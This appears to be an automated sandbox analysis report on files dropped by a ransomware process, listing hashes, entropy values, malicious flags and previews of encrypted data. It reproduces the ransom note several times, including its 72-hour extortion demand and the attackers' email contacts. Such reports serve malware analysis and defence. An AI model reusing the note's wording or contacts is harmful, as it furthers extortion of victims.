                                                                                                                                        Preview:.h...{>..x.Qw........N2p).^2.....^..F..mf.m:.kO`.....'..D.m"....Jf.c.q.z...>...\7.\.A...}s.....A..L{.h..E .Kn.Zf..W D.FR..F...}.;.....Y..S.T..F"...=J...2.g.....o.fqo..Ws.KU.....xS..X.K3..%....;.N.1...."...."....kYb.9UZ=.tv......))mm.I_.....i..u..:....e[.R........:s.i.V{.KyL.......xr._......;.y..V=.`K._..._..D2....L.".%.........-.0..8B.nmg..W..6...U.o".k.^...[.lr....L....'..W}.P..,.Q.kC......]r&92.X..q.t1.\1...c%.......W..$.9V.3...b...$6...s.p%.z/..+..y...i........{A...9....=...E.[....n.G.q.nB.........\4g..V.3B..2.p.D3.1....J......K.jp.u..TE.0|;....9.#W..Ur........f.".....S/....Q._.d.......".5........9g..=..lV.#.EVnwq.T.U..........XPb.*.........^.H.ju..5.3..#a.u2.\J..NM3...NG.u....b.!..tk...B....da|....)^..Qmc:.$b..Z.c.7Za.af..F......9X).s.......f.f.Q:kP.,v_.(C.....K..;......B..%.....L...Y.Q.]o.?.:n.e.@..S.m.......h...D.].v..+.X..Dd..[..Z.+:.Bk.6o..`.....+c.o"...+jy..~....zd^&....&,.AO.G.C..~....zQ.4.../u.>zP..ql...,vt.n.T(..._..+....
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4566
                                                                                                                                        Entropy (8bit):7.951752305214994
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:m1X/KIrWAUPeS7ztljRBNYeK1mRgPouBOeAMaMX1D+18Fr:m1X/KIoWS3tljxYeIRBPAaXd3
                                                                                                                                        MD5:1605F6419DD6A8AC4FA1A002186D65DD
                                                                                                                                        SHA1:8D932305AD3C9E6F53A808E8712265716B8D5FD3
                                                                                                                                        SHA-256:C2FA36992A68359FE1C9183B2E58E5B1D21496FD892B78C4B05DD570339A29CC
                                                                                                                                        SHA-512:54B0BD5DA8D7C4791BCC7C7C86AF36827B78E2527712D3CBE6CC98A644169690F38A447B41323D236ABF5B4C4E52FE5375EEE58772FCD8DCD2EC547368F46F42
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.h...{>..x.Qw........N2p).^2.....^..F..mf.m:.kO`.....'..D.m"....Jf.c.q.z...>...\7.\.A...}s.....A..L{.h..E .Kn.Zf..W D.FR..F...}.;.....Y..S.T..F"...=J...2.g.....o.fqo..Ws.KU.....xS..X.K3..%....;.N.1...."...."....kYb.9UZ=.tv......))mm.I_.....i..u..:....e[.R........:s.i.V{.KyL.......xr._......;.y..V=.`K._..._..D2....L.".%.........-.0..8B.nmg..W..6...U.o".k.^...[.lr....L....'..W}.P..,.Q.kC......]r&92.X..q.t1.\1...c%.......W..$.9V.3...b...$6...s.p%.z/..+..y...i........{A...9....=...E.[....n.G.q.nB.........\4g..V.3B..2.p.D3.1....J......K.jp.u..TE.0|;....9.#W..Ur........f.".....S/....Q._.d.......".5........9g..=..lV.#.EVnwq.T.U..........XPb.*.........^.H.ju..5.3..#a.u2.\J..NM3...NG.u....b.!..tk...B....da|....)^..Qmc:.$b..Z.c.7Za.af..F......9X).s.......f.f.Q:kP.,v_.(C.....K..;......B..%.....L...Y.Q.]o.?.:n.e.@..S.m.......h...D.].v..+.X..Dd..[..Z.+:.Bk.6o..`.....+c.o"...+jy..~....zd^&....&,.AO.G.C..~....zQ.4.../u.>zP..ql...,vt.n.T(..._..+....
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):711
                                                                                                                                        Entropy (8bit):7.68183115747284
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:12:UHJzgt0WsZsHu2oeB9wBXe89p4Gw1gcN8h5GvhcNx8xbDp7SqLd1OeFvbS5hbYdn:YJzM0BqHKeBwXB8gKDcOFdBv5d
                                                                                                                                        MD5:02F1BBC6BFC1AA2552D20A163F3D67FB
                                                                                                                                        SHA1:32C87C883928BE648EFC776DD77F450C580826BF
                                                                                                                                        SHA-256:A4AA0FEAD5A532CB4C6320E0FEE107853D3631935F5361846CC39BBF55E2AEB7
                                                                                                                                        SHA-512:7CC69937EDD48B21DBEB7CE4097160C18FA34189CCFDE6F31A51B6B57817565C561CDDEB29BDACE214F6633A42E57CD304F18F29D33106FAC32E0F7236A2C5DD
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:...^..........|..1..ZDYG.X...9..Ca...#;..0.s.7........X...@........~....,...C..o..8V..5.I.F...g.-..bR_.. ....m....].A.o...W._7...Q.i|}YD....?,....O.U.7...s........F,..Y..5........ ...S>..X.....$."...Hv..Di...jB...t!x..8.W.'.9D%;).6...f..{...Z./...k....O.*J...T.j.Z...+.&bU7Ac{.r'k.....0..E.....`..q)..O...U......3.yM..JP.u..IO..m......A.....`..Hpe.......M...V-.-ABG.7$.o\_.@.J_...2..o...Z.g.>.=.._.Tsp.80dc6f75d78"}..*$=Y........lk.yP.f..<..`K.....d.y..r.v.(..ArY.vo.|^.........E.6nEn..y.......Sf..6]..'6.[N..sB."..-J.mh........X..C`..../..9..jK..aj....2..,~....B.Ii%~.n.{..S.N...[..<.u...W.Sg=.c..,..-m.j.,M3i..../L.....\..F.I..oE...s.d.......E...6..\..T...j.0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):711
                                                                                                                                        Entropy (8bit):7.68183115747284
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:12:UHJzgt0WsZsHu2oeB9wBXe89p4Gw1gcN8h5GvhcNx8xbDp7SqLd1OeFvbS5hbYdn:YJzM0BqHKeBwXB8gKDcOFdBv5d
                                                                                                                                        MD5:02F1BBC6BFC1AA2552D20A163F3D67FB
                                                                                                                                        SHA1:32C87C883928BE648EFC776DD77F450C580826BF
                                                                                                                                        SHA-256:A4AA0FEAD5A532CB4C6320E0FEE107853D3631935F5361846CC39BBF55E2AEB7
                                                                                                                                        SHA-512:7CC69937EDD48B21DBEB7CE4097160C18FA34189CCFDE6F31A51B6B57817565C561CDDEB29BDACE214F6633A42E57CD304F18F29D33106FAC32E0F7236A2C5DD
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:...^..........|..1..ZDYG.X...9..Ca...#;..0.s.7........X...@........~....,...C..o..8V..5.I.F...g.-..bR_.. ....m....].A.o...W._7...Q.i|}YD....?,....O.U.7...s........F,..Y..5........ ...S>..X.....$."...Hv..Di...jB...t!x..8.W.'.9D%;).6...f..{...Z./...k....O.*J...T.j.Z...+.&bU7Ac{.r'k.....0..E.....`..q)..O...U......3.yM..JP.u..IO..m......A.....`..Hpe.......M...V-.-ABG.7$.o\_.@.J_...2..o...Z.g.>.=.._.Tsp.80dc6f75d78"}..*$=Y........lk.yP.f..<..`K.....d.y..r.v.(..ArY.vo.|^.........E.6nEn..y.......Sf..6]..'6.[N..sB."..-J.mh........X..C`..../..9..jK..aj....2..,~....B.Ii%~.n.{..S.N...[..<.u...W.Sg=.c..,..-m.j.,M3i..../L.....\..F.I..oE...s.d.......E...6..\..T...j.0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):14997
                                                                                                                                        Entropy (8bit):7.403528903053924
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:384:P5r3nTKgtC8IIfnI80hV+Dnma40Xe1kTB2Oa1Wv4+yX:P5bTJZ7I80hVEnLe1kTBY1kyX
                                                                                                                                        MD5:97DB686B312AD7BC655B224033B6396F
                                                                                                                                        SHA1:084636857FCAFFF3B3E92470BF7BD67F967582E3
                                                                                                                                        SHA-256:CBA9BF14F87F858A46E5363479628725B5EE5735F332244F51048A369AADAADF
                                                                                                                                        SHA-512:6AAC4C425D9EDDC349EB0690CCBA36A07916A4BAD0686982CB20A9AD4D81AFF4EE7BB88434AE809777081573D8CAFC76C09CD683D3B513E2E48C109D915A6E27
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:.9..G.t...'(..k.o....P.!.E.4y.2S.|#..q..M>..3.&.%x.N7...l......C..w....s...".....@j.kx#.gw.8.H.~.b.............D.G ..Y.Fs...>..9...V.p....xU7...*/.7V...x...3m......f.&....c4+..FT!4-.Nf...z2.u..M..`.l....e.....qIB...;!,.2.a].T...bG..#W7....t....d.5Q..A..T.,...a.j.C.=..]... ?./.Z.*.!.9.......YXP...r.d.!..}Y.;...9.....6$..Q.| ..D..w..B....W....2.....P...Q...Ff....ic......U..GF.>..g8.~}....u.G..5.7/...P..w.I4..F..b..o<c]z....l...>>.!...z\.....+..o(...RT....P..}....U.Z.......ba.1.!F.T".@..l.X($0B\.........%O.2O~.n.4B.W\@R.`..h. .;..xr.d.I..&...7.T...\...Id.....p:j..6i.:.J.....;....({....k.>\.GW.xX..D>pE/....`.`......X..s.V..yN...gA.j$.4.....2v...Y!X.k^D.#.Q4...>..../.R....Y.M..`....G...c.......|F...?.p.....cj...T......q'q..8Tg._...:....L.(.....7A.h.Q.0.:oFvLDK.....QS=..D....kG.......]!.]9......S.69....22r?/..T.v....O$.D...R........2..z......d-6...0P.f\......^......F.[fr..e.a.Z....!..].b.....e..o......X...B@..Cd...ea....c...R.....r..R....>..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):14997
                                                                                                                                        Entropy (8bit):7.403528903053924
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:384:P5r3nTKgtC8IIfnI80hV+Dnma40Xe1kTB2Oa1Wv4+yX:P5bTJZ7I80hVEnLe1kTBY1kyX
                                                                                                                                        MD5:97DB686B312AD7BC655B224033B6396F
                                                                                                                                        SHA1:084636857FCAFFF3B3E92470BF7BD67F967582E3
                                                                                                                                        SHA-256:CBA9BF14F87F858A46E5363479628725B5EE5735F332244F51048A369AADAADF
                                                                                                                                        SHA-512:6AAC4C425D9EDDC349EB0690CCBA36A07916A4BAD0686982CB20A9AD4D81AFF4EE7BB88434AE809777081573D8CAFC76C09CD683D3B513E2E48C109D915A6E27
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.9..G.t...'(..k.o....P.!.E.4y.2S.|#..q..M>..3.&.%x.N7...l......C..w....s...".....@j.kx#.gw.8.H.~.b.............D.G ..Y.Fs...>..9...V.p....xU7...*/.7V...x...3m......f.&....c4+..FT!4-.Nf...z2.u..M..`.l....e.....qIB...;!,.2.a].T...bG..#W7....t....d.5Q..A..T.,...a.j.C.=..]... ?./.Z.*.!.9.......YXP...r.d.!..}Y.;...9.....6$..Q.| ..D..w..B....W....2.....P...Q...Ff....ic......U..GF.>..g8.~}....u.G..5.7/...P..w.I4..F..b..o<c]z....l...>>.!...z\.....+..o(...RT....P..}....U.Z.......ba.1.!F.T".@..l.X($0B\.........%O.2O~.n.4B.W\@R.`..h. .;..xr.d.I..&...7.T...\...Id.....p:j..6i.:.J.....;....({....k.>\.GW.xX..D>pE/....`.`......X..s.V..yN...gA.j$.4.....2v...Y!X.k^D.#.Q4...>..../.R....Y.M..`....G...c.......|F...?.p.....cj...T......q'q..8Tg._...:....L.(.....7A.h.Q.0.:oFvLDK.....QS=..D....kG.......]!.]9......S.69....22r?/..T.v....O$.D...R........2..z......d-6...0P.f\......^......F.[fr..e.a.Z....!..].b.....e..o......X...B@..Cd...ea....c...R.....r..R....>..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):14061
                                                                                                                                        Entropy (8bit):5.981116434847497
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:384:N4Wp9E2qDfIZDTt0D4jV0WcHsbcbobHbKbcb0j7pboAl7jVTPQ8c:N4Wp9E2qDfIZHt0D4jV0WcHsbcbobHbH
                                                                                                                                        MD5:3481E5DFADABF5AE2FC42683297D1649
                                                                                                                                        SHA1:8C30BDAE0F6B9DD62975DA51CE23D79F20E735C6
                                                                                                                                        SHA-256:2D49FE11A6B8B16D5C92E62D5E8D016DB866B5E5DED6412ECC3DD9DFBD129BFB
                                                                                                                                        SHA-512:79D74461C90ADE7AA11250EB1064A1086D61E0B32372F587F97EBA199DAD9F5FBFC3AB45F7F40638A3F3E4B51DAD7BAEA45717E8EB5161FE486D8FE869ED0FE8
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:.G.L..P.W.= .e.....=....*.... _.C%.+.Y.:.XI...C.v".Am...eJ......D...=..u.....$..........?.>....1......3(c.9.q.....@v....u.......x.NDD..r.U...u.t..Wy...(..z[.J..A6-G$V......u..........<...ax..v;....m..oJ....^.\.j.F..f.%Go.;}..5.`...@...^.<E..#...X....\$...g.6..n.?6..}..%y....Sp..+....S]...^FK.E "..k.....'..g!.]........".J....s}Z.........W++/....!......a,8jf..<.H.X."....e.T..;/C....[g..V..p...@......r...UkX.num7d.a({]/.G.{(.(.g..i...q.EYy.w.6..5r2}E[....$....~"H...IJ'... .Z..=$t.T..(U[l.R.{..'S...=Cbu..B.;.j.yhL"2...Lr..A..H...i..'HD........(/.2...b..8..,....f.W...cz.....(6l.ws(...z..8....9.{..4nw.zK..(.Cmf.:.6.....).`T...:....>.V-................w.X.ng..9_..%.>J.k\......6[+.&....7.*u..Nh.vj..{.(.9'B....l..e.or......C ..7......P..5tU....9.T9..g....s...aS.-..l...G....[po.]e...........KH.*.....B...J.8.v..G...7...B........h.$......8...M.W...'.Ky.H.)...._..h=.^.,...p..iG."-...C(3...Q...(...b.......}..=0u....z...n..q..Tt.|,..K.....E.;..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):14061
                                                                                                                                        Entropy (8bit):5.981116434847497
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:384:N4Wp9E2qDfIZDTt0D4jV0WcHsbcbobHbKbcb0j7pboAl7jVTPQ8c:N4Wp9E2qDfIZHt0D4jV0WcHsbcbobHbH
                                                                                                                                        MD5:3481E5DFADABF5AE2FC42683297D1649
                                                                                                                                        SHA1:8C30BDAE0F6B9DD62975DA51CE23D79F20E735C6
                                                                                                                                        SHA-256:2D49FE11A6B8B16D5C92E62D5E8D016DB866B5E5DED6412ECC3DD9DFBD129BFB
                                                                                                                                        SHA-512:79D74461C90ADE7AA11250EB1064A1086D61E0B32372F587F97EBA199DAD9F5FBFC3AB45F7F40638A3F3E4B51DAD7BAEA45717E8EB5161FE486D8FE869ED0FE8
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.G.L..P.W.= .e.....=....*.... _.C%.+.Y.:.XI...C.v".Am...eJ......D...=..u.....$..........?.>....1......3(c.9.q.....@v....u.......x.NDD..r.U...u.t..Wy...(..z[.J..A6-G$V......u..........<...ax..v;....m..oJ....^.\.j.F..f.%Go.;}..5.`...@...^.<E..#...X....\$...g.6..n.?6..}..%y....Sp..+....S]...^FK.E "..k.....'..g!.]........".J....s}Z.........W++/....!......a,8jf..<.H.X."....e.T..;/C....[g..V..p...@......r...UkX.num7d.a({]/.G.{(.(.g..i...q.EYy.w.6..5r2}E[....$....~"H...IJ'... .Z..=$t.T..(U[l.R.{..'S...=Cbu..B.;.j.yhL"2...Lr..A..H...i..'HD........(/.2...b..8..,....f.W...cz.....(6l.ws(...z..8....9.{..4nw.zK..(.Cmf.:.6.....).`T...:....>.V-................w.X.ng..9_..%.>J.k\......6[+.&....7.*u..Nh.vj..{.(.9'B....l..e.or......C ..7......P..5tU....9.T9..g....s...aS.-..l...G....[po.]e...........KH.*.....B...J.8.v..G...7...B........h.$......8...M.W...'.Ky.H.)...._..h=.^.,...p..iG."-...C(3...Q...(...b.......}..=0u....z...n..q..Tt.|,..K.....E.;..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):717
                                                                                                                                        Entropy (8bit):7.752014581314467
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:12:akfn3O9YTL6VNWqeLUlny5ikkEMfuzEalGtfCAnCAw3Vw1Ip5REKNxOKGn:ve9YTzPyOitVuF4lDChy1XWO
                                                                                                                                        MD5:F25EC13A2D0EBE104FDBB99807231D53
                                                                                                                                        SHA1:745C985BBBE1364F7686A2E09CA572465290A561
                                                                                                                                        SHA-256:8AFF44C5C5701355CD456AF7ABA0B5A37BEC37DB36852ABFD5C997C6DA806BC8
                                                                                                                                        SHA-512:76F0DABCB15F02357E2D0FD2CEF45F7A5719344F7C9D5D68CA8A492256BFDB6348455F8B1747F1D129AC0570755B40D5792430CD844C9EC4B1454F4F317DDB88
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:..Z.S.......&... ...[.......?..R...'.....$........N..=.*0.%..n.?fq.w....cI..t.`...b..XL.uf!v#o._..%.N.L.Ca.B.G..e..x.......U.....'s.h.<p........-J.Gd.>D{...I.y...l...;^....1k6.+.._.......;U^.j..F.|....j^|...j....<..kq1......gb.f.....]..V......^..{V3..E..dR...f...XewO...c../.*R4HE-.S.K.(......]..8.L........TU.d:....Vc+e5Kxv.B+<..{bZ.G...zn...8..!.-.J.K@o...#.&..~L...)#.4j4.CwM8r....]....3.2lB..l.Lx..P.-.p..muBt._.N....9+....i[G.}}...4gd{>.5ev..[Ii.Y.1j....e....H...p..k....O...$.~..<BN.~.^..{....e......P.+.....J&Mp3..\..;.5../.^0R..V."e..a...)...Y..%.PIH.%....JK.3....'....Q...r\.?.p..v..&.v5..P....x......)j:.....n.#.~@.o..7./@.aA..=.p.'...:....$..qM.;.J....E...!s.g..G..0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):717
                                                                                                                                        Entropy (8bit):7.752014581314467
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:12:akfn3O9YTL6VNWqeLUlny5ikkEMfuzEalGtfCAnCAw3Vw1Ip5REKNxOKGn:ve9YTzPyOitVuF4lDChy1XWO
                                                                                                                                        MD5:F25EC13A2D0EBE104FDBB99807231D53
                                                                                                                                        SHA1:745C985BBBE1364F7686A2E09CA572465290A561
                                                                                                                                        SHA-256:8AFF44C5C5701355CD456AF7ABA0B5A37BEC37DB36852ABFD5C997C6DA806BC8
                                                                                                                                        SHA-512:76F0DABCB15F02357E2D0FD2CEF45F7A5719344F7C9D5D68CA8A492256BFDB6348455F8B1747F1D129AC0570755B40D5792430CD844C9EC4B1454F4F317DDB88
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..Z.S.......&... ...[.......?..R...'.....$........N..=.*0.%..n.?fq.w....cI..t.`...b..XL.uf!v#o._..%.N.L.Ca.B.G..e..x.......U.....'s.h.<p........-J.Gd.>D{...I.y...l...;^....1k6.+.._.......;U^.j..F.|....j^|...j....<..kq1......gb.f.....]..V......^..{V3..E..dR...f...XewO...c../.*R4HE-.S.K.(......]..8.L........TU.d:....Vc+e5Kxv.B+<..{bZ.G...zn...8..!.-.J.K@o...#.&..~L...)#.4j4.CwM8r....]....3.2lB..l.Lx..P.-.p..muBt._.N....9+....i[G.}}...4gd{>.5ev..[Ii.Y.1j....e....H...p..k....O...$.~..<BN.~.^..{....e......P.+.....J&Mp3..\..;.5../.^0R..V."e..a...)...Y..%.PIH.%....JK.3....'....Q...r\.?.p..v..&.v5..P....x......)j:.....n.#.~@.o..7./@.aA..=.p.'...:....$..qM.;.J....E...!s.g..G..0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):791
                                                                                                                                        Entropy (8bit):7.768720085909644
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:2GUz5y9/Hfc9ty2DB2HugbnGtpQu+bL4p4RT:2GU1a/mty2EHugbnGB+bLT
                                                                                                                                        MD5:6ADB078305F2F037866A864D9BDF7350
                                                                                                                                        SHA1:4798025EFB17E35A3906ED94F01BD506D1532B64
                                                                                                                                        SHA-256:2B3971B1671C956B21C0DE4C514D5386B3EFD77C98C79B48FDD9554FB726DB53
